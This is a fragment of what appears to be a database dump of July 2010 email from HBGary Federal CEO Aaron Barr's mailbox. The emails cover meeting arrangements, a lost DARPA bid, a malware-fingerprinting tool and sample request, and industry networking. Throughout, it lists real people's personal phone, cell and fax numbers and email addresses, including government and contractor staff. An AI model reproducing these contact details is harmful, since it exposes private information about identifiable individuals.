<aaron@hbgary.com>','/aaron@hbgary.com/new/1297006738.M794080P14101Q3703.eml','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','Re: is this good news for HB Gary?','Hey Mary,Just catching up. &nbsp;Do you have time to meet on Wednesday? &nbsp;I am heading on vacation on Thursday - then Blackhat.AaronOn Jun 30, 2010, at 3:23 PM, Sullivan, Mary wrote:What a PITA—you were perfect for that! Their loss….&nbsp;Things are good for me; I’m ahead of plan and looking to add two new big customers in Q3 that are both in procurement now. Like to get some more. Spent some time with Bob at an event last week and planning to meet Penny next time she comes to town. Talk to Maria pretty often.&nbsp;Let’s grab lunch or coffee when you get a chance.&nbsp;Mary SullivanD 240-396-2446M 301-980-1308&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, June 30, 2010 3:19 PMTo:&nbsp;Sullivan, MarySubject:&nbsp;Re: is this good news for HB Gary?&nbsp;Yes we were, but unfortunately weren\'t selected. &nbsp;We got our debrief yesterday. &nbsp;Came down to onerous data rights because of existing technology and not enough of the pi and pm time on contract, which was me and Greg.&nbsp;:(&nbsp;How are things?&nbsp;AaronSent from my iPadOn Jun 30, 2010, at 1:28 PM, \"Sullivan, Mary\" &lt;mary.sullivan@fidelissecurity.com&gt; wrote:I think this is one of the ones you were working on?&nbsp;CYBER GENOME PROGRAM.http://www.input.com/getopp.cfm?OppID=61006&amp;PrdctCd=PFOIT&amp;fromEmail=3.OppId: 61006 .Department: DEFENSE / DEFENSE ADVANCED RESEARCH PROJECTS AGENCY.RFP Date: 2010-01-28.Status: Partial Award.Value($K): 43000.Latest News: The Contracting Office made an award on June 29, 2010 to Lockheed Martin Corporation, under contract # FA8750-10-C0170, for a value of $4,658,267..&nbsp;&nbsp;&nbsp;&nbsp;Mary Sullivan | Federal Sales Manager | Fidelis Security Systems, Inc.D 240-396-2446 | M 301-980-1308 |&nbsp;mary.sullivan@fidelissecurity.com&nbsp;|&nbsp;www.fidelissecurity.com&nbsp;Curious about Fidelis XPS™? Watch video samples here:&nbsp;&nbsp;http://www.youtube.com/fidsecsys.See It in Action: Fidelis XPS™&nbsp;Latest Threat Migitation FeaturesRead All About It:&nbsp; Fidelis XPS&nbsp;Prevents Advanced Cyber Threats&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',908,'aaron_hbgary_com/908.html'),(8849,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006739.M271167P14101Q3705.eml','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','Re: Open Source Center briefing','Irv,DId this drop off the calendar?AaronOn May 17, 2010, at 8:38 AM, Lachow, Irving Mr OSD ATL wrote:\r\n\r\nPeople from the CIA’s Open Source Center are available to give us a capabilities briefing on their social media work on July 21.&nbsp; Are you all free?&nbsp; Can you suggest anyone else who might want to come?--Irv&nbsp; Irving Lachow, Ph.D.Director, Cyber ProgramsSpecial Capabilities OfficeNIPR: irving.lachow@osd.milSIPR: irving.lachow@osd.smil.milJWICS: irving.lachow@osdj.ic.govOffice:&nbsp; (703) 746-1226Cell:&nbsp; (202) 556-0591\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14431,'aaron_hbgary_com/14431.html'),(8850,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006739.M52593P14101Q3704.eml','\"Matthew Steckman\" <msteckman@palantir.com>,\"Geoff Stowe\" <gstowe@palantirtech.com>,\"Matthew Steckman\" <msteckman@palantir.com>','Attribution','Hey Guys,\r\n\r\nI would like to talk a bit about the fingerprint tool Greg is giving away at Blackhat.  Its not the graphing capability but the tool that will pull the marks out of malware related to the development environment.\r\n\r\nI think the play here for us and what leads us into our talk for RSA, if we are accepted, is the results in taking this tool, our volume malware processor and some good open source research and social media data mining.  With the data from the fingerprint tool that gives us the malware clustering, we can start doing open source collection on attributes that can then correlated to the other members of the cluster?\r\n\r\nI guess more will become obvious once we start the research.  Can we develop some helper apps that can make it easier to ingest the data?  I know the answer is yes but hopefully we can do that as part of this effort.  Want to schedule something up after we get back from Blackhat?\r\n\r\nAlso I talked to Brandon Colston and he is interested I think to come work on this stuff once we have a space for him, would love to get him.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12530,'aaron_hbgary_com/12530.html'),(8851,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006739.M619194P14101Q3706.eml','\"Jeff Castelli\" <JeffCastelli@phaseone.net>','Re: Lunch?  Beer?','Is that the one on Killingsworth?\r\n\r\nOn Jul 19, 2010, at 10:43 PM, Jeff Castelli wrote:\r\n\r\n> Bkfst at Silver Diner Reston? 8am?\r\n> VP, Director Washington Operations\r\n> \r\n> PhaseOne Communications\r\n> \r\n> email:  jeffcastelli@phaseone.net\r\n> \r\n> Office:  571-830-6816\r\n> \r\n>                571-830-6817\r\n> \r\n> Fax:        571-830-6819\r\n> \r\n> Cell:       310 612 6413\r\n> \r\n> \r\n> \r\n> This email is confidential and intended solely for the use of the individual or organization to whom it is addressed.  If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it.  If you have received this email in error, please notify the sender and delete this email from your system.  Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use\r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Jeff Castelli\r\n> Sent: Mon Jul 19 19:39:14 2010\r\n> Subject: Re: Lunch?  Beer?\r\n> \r\n> Hi jeff.  I live in McLean and have meetings in herndon in morning and chantilly in afternoon.  My wed is pretty open but head on fily vacation Thursday for a week.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Jul 19, 2010, at 4:04 PM, Jeff Castelli  wrote:\r\n> \r\n> \r\n> \r\n> 	Sure.  1200 works well for me if we can do it around here somewhere (Tysons Corner).  Do you live in VA? If so, breakfast on the way to work might work better…………………….Otherwise, Friday is much better for me for lunch.\r\n> \r\n> 	 \r\n> \r\n> 	Jeff\r\n> \r\n> 	 \r\n> \r\n> 	 \r\n> \r\n> 	 \r\n> \r\n> 	VP, Director Washington Operations\r\n> \r\n> 	PhaseOne Communications\r\n> \r\n> 	 \r\n> \r\n> 	email:   jeffcastelli@phaseone.net\r\n> \r\n> 	Office:     571-830-6816\r\n> \r\n> 	Fax:        571-830-6819\r\n> \r\n> 	Cell:       310 612 6413\r\n> \r\n> 	 \r\n> \r\n> 	This email is confidential and intended solely for the use of the individual or organization to whom it is addressed.  If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it.  If you have received this email in error, please notify the sender and delete this email from your system.  Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use.\r\n> \r\n> 	 \r\n> \r\n> 	 \r\n> \r\n> 	From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> 	Sent: Monday, July 19, 2010 3:08 PM\r\n> 	To: Jeff Castelli\r\n> 	Subject: Re: Lunch? Beer?\r\n> \r\n> 	 \r\n> \r\n> 	Hi Jeff,\r\n> \r\n> 	 \r\n> \r\n> 	Do you have some time tomorrow for lunch?\r\n> \r\n> 	 \r\n> \r\n> 	Aaron\r\n> \r\n> 	 \r\n> \r\n> 	On Jul 16, 2010, at 12:04 PM, Jeff Castelli wrote:\r\n> \r\n> 	\r\n> 	\r\n> 	\r\n> \r\n> 	Aaron, I really enjoyed meeting you last night.  It was a very entertaining evening.  As I mentioned, there is something I’d like to discuss with you that may be a potential area of collaboration.  Would love to sit down and discuss further.  I was supposed to be in LA next week but that got pushed back a week so I should be around.  Wednesday is probably not a good day but otherwise I can adapt.  Take care and I look forward to seeing you.\r\n> \r\n> 	 \r\n> \r\n> 	Jeff\r\n> \r\n> 	 \r\n> \r\n> 	 \r\n> \r\n> 	VP, Director Washington Operations\r\n> \r\n> 	PhaseOne Communications\r\n> \r\n> 	 \r\n> \r\n> 	email:    jeffcastelli@phaseone.net\r\n> \r\n> 	Office:     571-830-6816\r\n> \r\n> 	Fax:        571-830-6819\r\n> \r\n> 	Cell:       310 612 6413\r\n> \r\n> 	 \r\n> \r\n> 	This email is confidential and intended solely for the use of the individual or organization to whom it is addressed.  If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it.  If you have received this email in error, please notify the sender and delete this email from your system.  Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use.\r\n> \r\n> 	 \r\n> \r\n> 	 \r\n> \r\n> 	 \r\n> \r\n> 	Aaron Barr\r\n> \r\n> 	CEO\r\n> \r\n> 	HBGary Federal Inc.\r\n> \r\n> 	 \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2398,'aaron_hbgary_com/2398.html'),(8852,'2010-07-20','\"Christopher Tucker\" <christopher.tucker@gmail.com>','/aaron@hbgary.com/new/1297006739.M963816P14101Q3707.eml','aaron@hbgary.com','follow up from Brian\'s Thursday event...','Aaron,\r\n\r\nNice interacting with you on Brian\'s Thursday Night event.  Would love to\r\nfollow up sometime, probably best in a SCIF.\r\n\r\nIn the meantime, I would love to hook you up with one of my companies\r\nwww.morningside-analytics.com someday when they are in town from NYC, which\r\nis all the time.  Perhaps there is a love connection with some of the\r\ninteresting things you are doing with my favorite customer.\r\n\r\nAlso, would you mind introducing me to the head of Apple Federal?  They\r\nrecently bought Poly9 to go head to head with GoogleEarth.  I am on the\r\nBoard of the US Geospatial Intelligence Foundation (www.usgif.org) and would\r\nlove to rope them into our sick little world now that they are going to be\r\nplayers.\r\n\r\nAnyways, nice meeting you and I look forward to catching up sometime soon.\r\n\r\nChris\r\n703-981-9373\r\n\r\n\r\n\r\n',4411,'aaron_hbgary_com/4411.html'),(8853,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006740.M211600P14101Q3708.eml','\"Bill Thompson\" <Bill.Thompson2@ngc.com>','Positions','Hey Bill,\r\n\r\nDo you still need help filling some positions?\r\n\r\nAnd tell Brian he\'s dead to me.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16313,'aaron_hbgary_com/16313.html'),(8854,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006740.M451519P14101Q3709.eml','\"Osterholz, John (US SSA)\" <john.osterholz@baesystems.com>,\"Osterholz, John (US SSA)\" <john.osterholz@baesystems.com>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,','Re: Greetings!','A few thoughts on the Trusted Identities initiative and supply chain. &nbsp;As a point of debate I will state that I think the supply chain problem is even a tougher problem than the attribution problem and based on my knowledge (maybe limited) we are no where near solutions in this area. &nbsp;The attribution problem is solvable. &nbsp;I think the solution for supply chain is to assume compromise. &nbsp;An identification, authentication, and authorization framework that once validated can securely envelop processing and communications within a compromised environment.This effort was tried by the trusted computing group lead by Microsoft and IBM, maybe some of our group members could provide some information on the commercial efforts still in play in this area. &nbsp;Sadly the effort was too large of a bite and required too many commercial players to be in sync and it just didn\'t work out. &nbsp;But that type of an architecture that can boot a secure light OS within a compromised environment combined with universal identification could make significant headway. &nbsp;The keys here are at the most basic how do I authenticate the user locally and remotely and how do I authenticate the secure operating environment locally and remotely (attestation).Apple is working on a current solution for certain federal customers on the iPad where the can push a secure VMOS over the air that is provisioned for certain data access. &nbsp;In this scenario the Pad is a blank slate that gets a new VMOS depending on where it is and the credentials you have. &nbsp;Strong methods for identification are of course very important here.Just some thoughts to get the conversation going on supply chain and Identity.Anyone but Bill going to Blackhat? &nbsp;Another thought since everyone in the group but me owns a significant piece of cyber business. &nbsp;Is there an opportunity if enough people are going to set up an impromptu panel at Blackhat for people to ask questions and interact with the DIB? &nbsp;Or is that a hornets nest? &nbsp;If there is any interest I could reach out to Jeff Moss the Blackhat coordinator and see whats possible. &nbsp;The DIB overall lacks any real presence at the largest security conference on the planet and that seems a shame.AaronOn Jul 13, 2010, at 10:20 PM, Osterholz, John (US SSA) wrote:Looking forward to the meet.&nbsp;jlo&nbsp;John Osterholz&nbsp;Vice President&nbsp;Cyber Warfare and CybersecurityFrom: Varner, Bill &lt;Bill.Varner@ManTech.com&gt;&nbsp;To:&nbsp;aaron@hbgary.com&nbsp;&lt;aaron@hbgary.com&gt;;&nbsp;alexander.miller@l-3com.com&nbsp;&lt;alexander.miller@l-3com.com&gt;;&nbsp;barbara.g.fast@boeing.com&nbsp;&lt;barbara.g.fast@boeing.com&gt;;bill.phelps@accenture.com&nbsp;&lt;bill.phelps@accenture.com&gt;;&nbsp;bmalexia@rockwellcollins.com&nbsp;&lt;bmalexia@rockwellcollins.com&gt;;&nbsp;ccpalmer@us.ibm.com&nbsp;&lt;ccpalmer@us.ibm.com&gt;;coxld@saic.com&nbsp;&lt;coxld@saic.com&gt;;&nbsp;david_joslin@federal.dell.com&nbsp;&lt;david_joslin@federal.dell.com&gt;;&nbsp;dusty.wince@knowledgecg.com&nbsp;&lt;dusty.wince@knowledgecg.com&gt;;ed.gibson@us.pwc.com&nbsp;&lt;ed.gibson@us.pwc.com&gt;;&nbsp;gjg@mitre.org&nbsp;&lt;gjg@mitre.org&gt;;&nbsp;jkoenig@harris.com&nbsp;&lt;jkoenig@harris.com&gt;; Osterholz, John (US SSA);&nbsp;jpayne@telcordia.com&lt;jpayne@telcordia.com&gt;;&nbsp;jreagan@deloitte.com&nbsp;&lt;jreagan@deloitte.com&gt;;&nbsp;jwatters@isightpartners.com&nbsp;&lt;jwatters@isightpartners.com&gt;;&nbsp;kathy.warden@ngc.com&lt;kathy.warden@ngc.com&gt;;&nbsp;kenneth.sannicolas@stanleyassociates.com&nbsp;&lt;kenneth.sannicolas@stanleyassociates.com&gt;;&nbsp;lance.cottrell@abraxascorp.com&lt;lance.cottrell@abraxascorp.com&gt;;&nbsp;michael.fraser@usis.com&nbsp;&lt;michael.fraser@usis.com&gt;;&nbsp;nadia.short@gd-ais.com&nbsp;&lt;nadia.short@gd-ais.com&gt;;&nbsp;pat.burke@sra.com&lt;pat.burke@sra.com&gt;;&nbsp;rdix@juniper.net&nbsp;&lt;rdix@juniper.net&gt;;&nbsp;rodney.joffe@neustar.biz&nbsp;&lt;rodney.joffe@neustar.biz&gt;;&nbsp;roger_anderson@appsig.com&nbsp;&lt;roger_anderson@appsig.com&gt;;samuel.chun@hp.com&nbsp;&lt;samuel.chun@hp.com&gt;;&nbsp;scottmil@microsoft.com&nbsp;&lt;scottmil@microsoft.com&gt;;&nbsp;shawn.carroll@qwest.com&nbsp;&lt;shawn.carroll@qwest.com&gt;;skip.foote@americansystems.com&nbsp;&lt;skip.foote@americansystems.com&gt;;&nbsp;steve_k_hawkins@raytheon.com&nbsp;&lt;steve_k_hawkins@raytheon.com&gt;;&nbsp;svisner@csc.com&nbsp;&lt;svisner@csc.com&gt;;tiffany_jones@symantec.com&nbsp;&lt;tiffany_jones@symantec.com&gt;;&nbsp;wcooper@cisco.com&nbsp;&lt;wcooper@cisco.com&gt;;&nbsp;zazmi@caci.com&nbsp;&lt;zazmi@caci.com&gt;&nbsp;Sent: Tue Jul 13 17:23:37 2010Subject: Greetings!&nbsp;Looking forward to seeing as many of us as possible at breakfast on August 3.&nbsp;I’m planning to go over the feedback from our first dinner meeting, and would like to narrow down our choices or preferences for the next dinner speaker.&nbsp;We have had some limited discussions re the draft National Strategy for Trusted Identities in Cyberspace. I still would like to submit something to Howard Schmidt from the Group, both to put us on the map and to help the process of creating trusted ways of using the Internet. When I think of trusted supply chain management, as the paper mentions, I tend to think of the counterintelligence perspective. I do believe there is a strong CI component to the trusted identity issue, and some of our email discussions, particularly between Aaron and John have begun to explore that idea.&nbsp;I am as guilty as everyone of not being able to devote all of the time we would like to this, but if we can generate some more discussion around this I can try to turn our thoughts into a response by July 19.&nbsp;See you soon,&nbsp;Bill&nbsp;L. William VarnerPresidentMission, Cyber &amp; Technology Solutions GroupManTech International Corporation2250 Corporate Park Drive, Suite 500Herndon, VA 20171Office: (703) 674-2778 l E-fax: (571) 485-2362 l Mobile: (703) 475-7909&nbsp;Email:&nbsp;Bill.Varner@Mantech.com&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3666,'aaron_hbgary_com/3666.html'),(8855,'2010-07-20','postmaster@local-mailhost.sra.com','/aaron@hbgary.com/new/1297006740.M815320P14101Q3710.eml','aaron@hbgary.com','Delivery Status Notification (Failure)','This is an automatically generated Delivery Status Notification.\r\n\r\nDelivery to the following recipients failed.\r\n\r\n       pat.burke@sra.com\r\n\r\n\r\n\r\n',16481,'aaron_hbgary_com/16481.html'),(8856,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006741.M311587P14101Q3712.eml','\"Christopher Tucker\" <christopher.tucker@gmail.com>','Re: follow up from Brian\'s Thursday event...','Hey Chris,\r\n\r\nSame here.  It was a lively night, not sure if it was what was expected.\r\n\r\nSure thing.  Please give them my contact there website looks \"interesting\".\r\n\r\nI will send a follow up email introducing you to Andy Kemp @Apple.\r\n\r\nLet me know when your around and have some time we can catch up.\r\n\r\nAaron\r\n\r\nOn Jul 19, 2010, at 11:31 PM, Christopher Tucker wrote:\r\n\r\n> Aaron,\r\n> \r\n> Nice interacting with you on Brian\'s Thursday Night event.  Would love to\r\n> follow up sometime, probably best in a SCIF.\r\n> \r\n> In the meantime, I would love to hook you up with one of my companies\r\n> www.morningside-analytics.com someday when they are in town from NYC, which\r\n> is all the time.  Perhaps there is a love connection with some of the\r\n> interesting things you are doing with my favorite customer.\r\n> \r\n> Also, would you mind introducing me to the head of Apple Federal?  They\r\n> recently bought Poly9 to go head to head with GoogleEarth.  I am on the\r\n> Board of the US Geospatial Intelligence Foundation (www.usgif.org) and would\r\n> love to rope them into our sick little world now that they are going to be\r\n> players.\r\n> \r\n> Anyways, nice meeting you and I look forward to catching up sometime soon.\r\n> \r\n> Chris\r\n> 703-981-9373\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6434,'aaron_hbgary_com/6434.html'),(8857,'2010-07-20','\"Scott Miller (FEDERAL)\" <scottmil@microsoft.com>','/aaron@hbgary.com/new/1297006741.M59056P14101Q3711.eml','\"Aaron Barr\" <aaron@hbgary.com>','Automatic reply: Greetings!','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI will be out of the office attending MGX through Friday, July 23rd with limited access to email or phone.\r\n\r\nIf this is urgent, please contact Francesca Rhyne at\r\nfrhyne@microsoft.com or at 703-673-7717.\r\n\r\nFor all other business matters, please contact the following managers:\r\n\r\nIntel Business: Aaron Bishop:&nbsp; aaronbi@microsoft.com\r\n\r\nMilitary Intel: Michael Musick: \r\nmmusick@microsoft.com\r\n\r\nDHS Business: Mark Whittington:&nbsp; \r\nmarkwhit@microsoft.com\r\nThanks,\r\n&nbsp;\r\nScott\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',16012,'aaron_hbgary_com/16012.html'),(8858,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006759.M437583P14101Q3713.eml','\"Andy Kemp\" <akemp@apple.com>,\"Andy Kemp\" <akemp@apple.com>','Introduction','Hey Andy,\r\n\r\nRemember the event that I told you about.  It was a lively night.  Apple, the appstore, mobile app development came up on multiple occasions.\r\n\r\nI met Chris at this event and we had some very lively discussions regarding social media, evolving technology, and threats.  Chris has a very interesting and enterprising background (especially for government).  I think you guys would have a lot to talk about, so I wanted to make the introduction.\r\n\r\nTalk to you soon.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9038,'aaron_hbgary_com/9038.html'),(8859,'2010-07-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006759.M672967P14101Q3714.eml','\"Brian Coulson\" <bcoulson@digitalglobe.com>,\"Brian Coulson\" <bcoulson@digitalglobe.com>,','Re: HBGary follow up','No worries Brian,Are you available tomorrow at 2pm Eastern?TedOn Jul 19, 2010, at 3:53 PM, Brian Coulson &lt;bcoulson@digitalglobe.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nHi! My apologies for just now getting back to you! I have been\r\nunavailable until now.\r\n\r\n \r\n\r\nI’m fairly open this week and next. Please let me know a good\r\ntime that we can get together.\r\n\r\n \r\n\r\nThank you!\r\n\r\n \r\n\r\nSincerely,\r\n\r\nBrian Coulson\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Wednesday, July 14, 2010 3:18 PM\r\nTo: Brian Coulson\r\nCc: Barr Aaron; Maria Lucas\r\nSubject: Re: HBGary follow up\r\n\r\n\r\n\r\n \r\n\r\nHi Brian,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSorry I haven&#39;t reached out to you yet, I forwarded your\r\ninformation along to Aaron Barr (cc&#39;d) who developed our social media training.\r\n Perhaps we could schedule a telecon between the three of us to discuss\r\nyour needs?  Are you available this Friday at 1pm Eastern time?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Jul 14, 2010 at 3:12 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\nHi Brian\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nChecking in to see if you need help with your evaluation,\r\nand to confirm if you heard from Ted about the training?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\nThis electronic communication and any attachments may contain confidential and proprietary \r\ninformation of DigitalGlobe, Inc. If you are not the intended recipient, or an agent or employee \r\nresponsible for delivering this communication to the intended recipient, or if you have received \r\nthis communication in error, please do not print, copy, retransmit, disseminate or \r\notherwise use the information. Please indicate to the sender that you have received this \r\ncommunication in error, and delete the copy you received. DigitalGlobe reserves the \r\nright to monitor any electronic communication sent or received by its employees, agents \r\nor representatives.\r\n\r\n\r\n\r\n\r\n',5929,'aaron_hbgary_com/5929.html'),(8860,'2010-07-20','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297006759.M934190P14101Q3715.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Call today to discuss Cell Infrastructure','I didn\'t have time to write yesterday when you called.  Can you just repeat\r\nthe name of the company we discussed?  I\'m going in to see Sean Roche this\r\nmorning and he would be a good starting point for your idea.  \r\nTom\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, July 19, 2010 12:22 PM\r\nTo: Conroy, Thomas W.\r\nSubject: EXTERNAL:Call today to discuss Cell Infrastructure\r\n\r\nDo you have some time to talk today?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6362,'aaron_hbgary_com/6362.html'),(8861,'2010-07-20','\"Ghent, Ralph\" <rdghent@nsa.gov>','/aaron@hbgary.com/new/1297006760.M217525P14101Q3716.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Attribution','Aaron,\r\nPer our discussion on other email thread, I will pass this to our NTOC-V3\r\nfolks.\r\n\r\nYou also mentioned, \"I gave a social media and exploitation presentation at\r\nthe NSA rebl conference a month ago.  I can send it to you if your\r\ninterested.\"\r\n\r\nYes, I would like to see that presentation.  \r\nPls send it.  Many thanks.\r\n\r\n\r\n\r\nRalph Ghent\r\nrdghent@nsa.gov\r\nPh: 443-654-0129\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, July 16, 2010 10:27 PM\r\nTo: Aaron Barr\r\nSubject: Attribution\r\n\r\nI am sending this request to a small group of individuals.  Please do not\r\nforward this email to third parties.  HBGary is working hard to help solve\r\nthe attribution problem.  We have developed a fingerprint tool which\r\nextracts toolmarks left behind in malware executables.  We use these\r\ntoolmarks to cluster exploits together which were compiled on the same\r\ncomputer system or development environment.  Notice the clusters in the\r\ngraphic below. These groupings illustrate the relationships between over\r\n3000 malware samples.\r\n\r\nWe need your help to further validate and improve the tool.  Eventually you\r\ncan imagine combining this data with open source and intelligence data.  I\r\ncan see attribution as potentially a solvable problem.  We need your malware\r\nsamples, as many as you can provide.  This is not something we are looking\r\nto profit from directly, we will be giving this tool away at Blackhat, so\r\nhelping us improve the tool will help the community beat back the threat.\r\nIf possible please have your representative CISOs or cybersecurity personnel\r\nsend malware samples in a password protected zip file.  Provide the password\r\nvia phone 719-510-8478 or fax to:  720-836-4208 we need your samples as soon\r\nas possible.  Samples provided will not be shared with third parties and\r\nyour participation will be held in strict confidence.\r\n\r\nIn exchange for your help, I will provide you with a summary report of our\r\nfindings and you will have made a significant contribution to securing\r\nAmerica\'s networks. \r\n\r\n\r\n',5287,'aaron_hbgary_com/5287.html'),(8862,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006760.M502144P14101Q3717.eml','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','Re: EXTERNAL:Call today to discuss Cell Infrastructure','Ericsson \r\n\r\nThanks Tom\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 20, 2010, at 5:32 AM, \"Conroy, Thomas W.\"  wrote:\r\n\r\n> I didn\'t have time to write yesterday when you called.  Can you just repeat\r\n> the name of the company we discussed?  I\'m going in to see Sean Roche this\r\n> morning and he would be a good starting point for your idea.  \r\n> Tom\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, July 19, 2010 12:22 PM\r\n> To: Conroy, Thomas W.\r\n> Subject: EXTERNAL:Call today to discuss Cell Infrastructure\r\n> \r\n> Do you have some time to talk today?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',3535,'aaron_hbgary_com/3535.html'),(8863,'2010-07-20','\"andy kemp\" <akemp@apple.com>','/aaron@hbgary.com/new/1297006760.M762682P14101Q3718.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Introduction','Chris\r\n\r\nNice to meet you.  Happy to meet whenever it might be convenient for  \r\nyou.\r\n\r\nRegards\r\n\r\nak\r\n\r\n\r\nOn Jul 20, 2010, at 12:27 AM, Aaron Barr wrote:\r\n\r\n> Hey Andy,\r\n>\r\n> Remember the event that I told you about.  It was a lively night.   \r\n> Apple, the appstore, mobile app development came up on multiple  \r\n> occasions.\r\n>\r\n> I met Chris at this event and we had some very lively discussions  \r\n> regarding social media, evolving technology, and threats.  Chris has  \r\n> a very interesting and enterprising background (especially for  \r\n> government).  I think you guys would have a lot to talk about, so I  \r\n> wanted to make the introduction.\r\n>\r\n> Talk to you soon.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n\r\nAndy Kemp\r\nHomeland Defense / National Programs\r\n\r\nApple Inc.\r\n11921 Freedom Drive\r\nSuite 600\r\nReston, Virginia\r\n20194\r\n\r\nakemp@apple.com\r\n240-988-3476\r\n\r\n\r\n\r\n\r\n\r\n',8279,'aaron_hbgary_com/8279.html'),(8864,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006761.M245839P14101Q3720.eml','\"Jeff Castelli\" <JeffCastelli@phaseone.net>','Re: Lunch?  Beer?','Sure 830 tomorrow would be great.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 20, 2010, at 7:10 AM, Jeff Castelli  wrote:\r\n\r\n> Yes, but unless you\'re on your way now, what say we do the one in Tysons tomorrow at 0830?  But if you\'re on your way, I\'ll see you there at 8.  Tks, Aaron. \r\n> \r\n> \r\n> VP, Director Washington Operations\r\n> \r\n> PhaseOne Communications\r\n> \r\n> email:  jeffcastelli@phaseone.net\r\n> \r\n> Office:  571-830-6816\r\n> \r\n>                571-830-6817\r\n> \r\n> Fax:        571-830-6819\r\n> \r\n> Cell:       310 612 6413\r\n> \r\n> \r\n> \r\n> This email is confidential and intended solely for the use of the individual or organization to whom it is addressed.  If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it.  If you have received this email in error, please notify the sender and delete this email from your system.  Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use\r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Jeff Castelli\r\n> Sent: Mon Jul 19 20:20:35 2010\r\n> Subject: Re: Lunch?  Beer?\r\n> \r\n> Is that the one on Killingsworth?\r\n> \r\n> On Jul 19, 2010, at 10:43 PM, Jeff Castelli wrote:\r\n> \r\n>> Bkfst at Silver Diner Reston? 8am?\r\n>> VP, Director Washington Operations\r\n>> \r\n>> PhaseOne Communications\r\n>> \r\n>> email:  jeffcastelli@phaseone.net\r\n>> \r\n>> Office:  